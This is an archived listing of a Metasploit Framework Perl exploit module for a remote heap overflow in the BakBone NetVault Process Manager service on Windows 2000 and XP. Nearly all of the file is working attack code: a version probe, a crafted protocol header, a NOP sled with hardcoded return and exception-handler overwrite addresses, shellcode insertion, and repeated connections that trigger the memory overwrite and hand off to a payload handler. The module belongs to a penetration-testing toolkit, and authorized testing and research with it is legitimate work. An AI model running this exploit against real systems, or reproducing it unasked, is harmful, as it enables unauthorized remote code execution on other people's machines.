home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / bakbone_netvault_heap.pm < prev    next >
Text File  |  2006-06-30  |  7KB  |  233 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::bakbone_netvault_heap;
  11. use strict;
  12. use base "Msf::Exploit";
  13. use Pex::Text;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info =
  18.   {
  19.     'Name'  => 'BakBone NetVault Remote Heap Overflow',
  20.     'Version'  => '$Revision: 1.3 $',
  21.     'Authors' =>
  22.       [
  23.         'H D Moore <hdm [at] metasploit.com>',
  24.         '<nolimit.bugtraq[at]gmail.com>',
  25.       ],
  26.     'Arch'  => [ 'x86' ],
  27.     'OS'    => [ 'win32', 'win2000', 'winxp' ],
  28.     'Priv'  => 1,
  29.  
  30.     'UserOpts'  =>
  31.       {
  32.         'RHOST' => [1, 'ADDR', 'The target address'],
  33.         'RPORT' => [1, 'PORT', 'The target port', 20031 ],
  34.       },
  35.       
  36.     'Payload' =>
  37.       {
  38.         'Space'     => 1024,
  39.         'BadChars'  => "\x00\x20",
  40.         'Keys'      => ['+ws2ord'],
  41.         # sub esp, 4097 + inc esp makes stack happy
  42.         'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",        
  43.       },
  44.  
  45.     'Description'  => Pex::Text::Freeform(qq{
  46.         This module exploits a heap overflow in the BakBone NetVault
  47.     Process Manager service. This code is a direct port of the netvault.c
  48.     code written by nolimit and BuzzDee.
  49. }),
  50.  
  51.     'Refs'  =>
  52.       [
  53.         ['BID', 12967],
  54.         ['MIL',    12],        
  55.       ],  
  56.      
  57.     'Targets' =>
  58.       [
  59.         [ 'Windows 2000 SP4 English',   0x75036d7e, 0x7c54144c ], # esi+4c / UEF
  60.         [ 'Windows XP SP0/SP1 English', 0x7c369bbd, 0x77ed73b4 ], #        / UEF
  61.       ],
  62.       
  63.     'Keys'  => ['netvault'],
  64.  
  65.     'DisclosureDate' => 'Apr 01 2005',
  66. };
  67.  
  68. sub new {
  69.     my $class = shift;
  70.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  71.     return($self);
  72. }
  73.  
  74. sub Check {
  75.     my $self = shift;
  76.     my $target_host = $self->GetVar('RHOST');
  77.     my $target_port = $self->GetVar('RPORT');
  78.     
  79.     my $s = Msf::Socket::Tcp->new
  80.       (
  81.         'PeerAddr'  => $target_host,
  82.         'PeerPort'  => $target_port,
  83.       );
  84.  
  85.     if ($s->IsError) {
  86.         $self->PrintLine("[*] Socket error: " . $s->GetError());
  87.         return $self->CheckCode('Connect');
  88.     }
  89.     
  90.     my $hname = "METASPLOIT";
  91.     my $probe =
  92.         "\xc9\x00\x00\x00\x01\xcb\x22\x77\xc9\x17\x00\x00\x00\x69\x3b\x69".
  93.         "\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69".
  94.         "\x3b\x73\x3b\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00".
  95.         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00".
  96.         "\x03\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00".
  97.         pack('V', length($hname)+1). $hname . "\x00";
  98.     
  99.     $probe .= "\x00" x (201 - length($probe));
  100.     $s->Send($probe);
  101.     my $res = $s->Recv(-1, 10);
  102.     $s->Close;
  103.     
  104.     my $off = index($res, "NVBuild");
  105.     if ($off != -1) {
  106.         $off += length('NVBuild')+ 1 + 12 + 1;
  107.         my $ver = int(substr($res, $off+4, unpack('V', substr($res, $off, 4))));
  108.         
  109.         if ($ver > 0) {
  110.             $self->PrintLine("[*] Detected NetVault Build $ver");
  111.             return $self->CheckCode('Detected');
  112.         }
  113.     }
  114.     return $self->CheckCode('Safe');
  115. }
  116.  
  117. sub Exploit {
  118.     my $self = shift;
  119.     my $target_host = $self->GetVar('RHOST');
  120.     my $target_port = $self->GetVar('RPORT');
  121.     my $target_idx  = $self->GetVar('TARGET');
  122.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  123.  
  124.     my $target = $self->Targets->[$target_idx];
  125.     my ($res);
  126.  
  127.     if (! $self->InitNops(128)) {
  128.         $self->PrintLine("[*] Failed to initialize the nop module.");
  129.         return;
  130.     }
  131.     
  132.     # Request header taken from netvault.c by nolimit and BuzzDee
  133.     my $head =
  134.     pack('C*', 
  135.         0x00, 0x00, 0x02, 0x01, 0x00, 0x00, 0x00, 0x8f, 
  136.         0xd0, 0xf0, 0xca, 0x0b, 0x00, 0x00, 0x00, 0x69, 
  137.         0x3b, 0x62, 0x3b, 0x6f, 0x3b, 0x6f, 0x3b, 0x7a, 
  138.         0x3b, 0x00, 0x11, 0x57, 0x3c, 0x42, 0x00, 0x01, 
  139.         0xb9, 0xf9, 0xa2, 0xc8, 0x00, 0x00, 0x00, 0x00, 
  140.         0x03, 0x00, 0x00, 0x00, 0x00, 0x01, 0xa5, 0x97, 
  141.         0xf0, 0xca, 0x05, 0x00, 0x00, 0x00, 0x6e, 0x33, 
  142.         0x32, 0x3b, 0x00, 0x20, 0x00, 0x00, 0x00, 0x10, 
  143.         0x02, 0x4e, 0x3f, 0xac, 0x14, 0xcc, 0x0a, 0x00, 
  144.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  145.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  146.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 
  147.         0xa5, 0x97, 0xf0, 0xca, 0x05, 0x00, 0x00, 0x00, 
  148.         0x6e, 0x33, 0x32, 0x3b, 0x00, 0x20, 0x00, 0x00, 
  149.         0x00, 0x10, 0x02, 0x4e, 0x3f, 0xc0, 0xa8, 0xea, 
  150.         0xeb, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  151.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  152.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  153.         0x00, 0x01, 0xa5, 0x97, 0xf0, 0xca, 0x05, 0x00, 
  154.         0x00, 0x00, 0x6e, 0x33, 0x32, 0x3b, 0x00, 0x20, 
  155.         0x00, 0x00, 0x00, 0x10, 0x02, 0x4e, 0x3f, 0xc2, 
  156.         0x97, 0x2c, 0xd3, 0x00, 0x00, 0x00, 0x00, 0x00, 
  157.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  158.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  159.         0x00, 0x00, 0x00, 0xb9, 0xf9, 0xa2, 0xc8, 0x02, 
  160.         0x02, 0x00, 0x00, 0x00, 0xa5, 0x97, 0xf0, 0xca, 
  161.         0x05, 0x00, 0x00, 0x00, 0x6e, 0x33, 0x32, 0x3b, 
  162.         0x00, 0x20, 0x00, 0x00, 0x00, 0x04, 0x02, 0x4e, 
  163.         0x3f, 0xac, 0x14, 0xcc, 0x0a, 0xb0, 0xfc, 0xe2, 
  164.         0x00, 0x00, 0x00, 0x00, 0x00, 0xec, 0xfa, 0x8e, 
  165.         0x01, 0xa4, 0x6b, 0x41, 0x00, 0xe4, 0xfa, 0x8e, 
  166.         0x01, 0xff, 0xff, 0xff, 0xff, 0x01, 0x02
  167.     );    
  168.     
  169.     my $pattern = $self->MakeNops(39947) . "\x00\x00\x00";
  170.     substr($pattern, 0, length($head), $head);
  171.     
  172.     substr($pattern, 32790, 2, "\xeb\x0a");
  173.     substr($pattern, 32792, 4, pack('V', $target->[1]));
  174.     substr($pattern, 32796, 4, pack('V', $target->[2]));
  175.     substr($pattern, 32800, length($shellcode), $shellcode);
  176.     
  177.     $self->PrintLine("[*] Attemping to exploit target '".$target->[0]."'...");
  178.  
  179.     
  180.     # NetVault does not handle partial recv's correctly, so we need
  181.     # to make multiple attempts at writing the full string...
  182.     
  183.     my $res = 0;
  184.     my $try = 0;
  185.     my $s;
  186.     
  187.     while ($try < 15 && $res != length($pattern)) {
  188.  
  189.         $s = Msf::Socket::Tcp->new
  190.           (
  191.             'PeerAddr'  => $target_host,
  192.             'PeerPort'  => $target_port,
  193.           );
  194.  
  195.         if ($s->IsError) {
  196.             $self->PrintLine("[*] Socket error: " . $s->GetError());
  197.             return(0);
  198.         }
  199.         
  200.         $res = $s->Send($pattern, 0);
  201.         $try++;
  202.     }
  203.     
  204.     if ($res != length($pattern)) {
  205.         $self->PrintLine("[*] Could not write the full request to the server");
  206.         return;
  207.     }
  208.     
  209.     $self->PrintLine("[*] Overflow request sent, sleeping for four seconds ($try tries)");
  210.     select(undef, undef, undef, 4);
  211.     
  212.     $self->PrintLine("[*] Triggering the memory overwrite by reconnecting...");
  213.     for( 1 .. 10) {
  214.         my $x = Msf::Socket::Tcp->new
  215.           (
  216.             'PeerAddr'  => $target_host,
  217.             'PeerPort'  => $target_port,
  218.           );
  219.         last if $x->IsError;
  220.         $x->Send($pattern, 0);
  221.         $self->PrintLine("[*]    Completed connection #$_");
  222.         select(undef, undef, undef, 1);
  223.     }
  224.     
  225.     $self->PrintLine("[*] Waiting for the payload to execute...");
  226.     select(undef, undef, undef, 4);
  227.     
  228.     $self->Handler($s);
  229.     return;
  230. }
  231.  
  232. 1;
  233.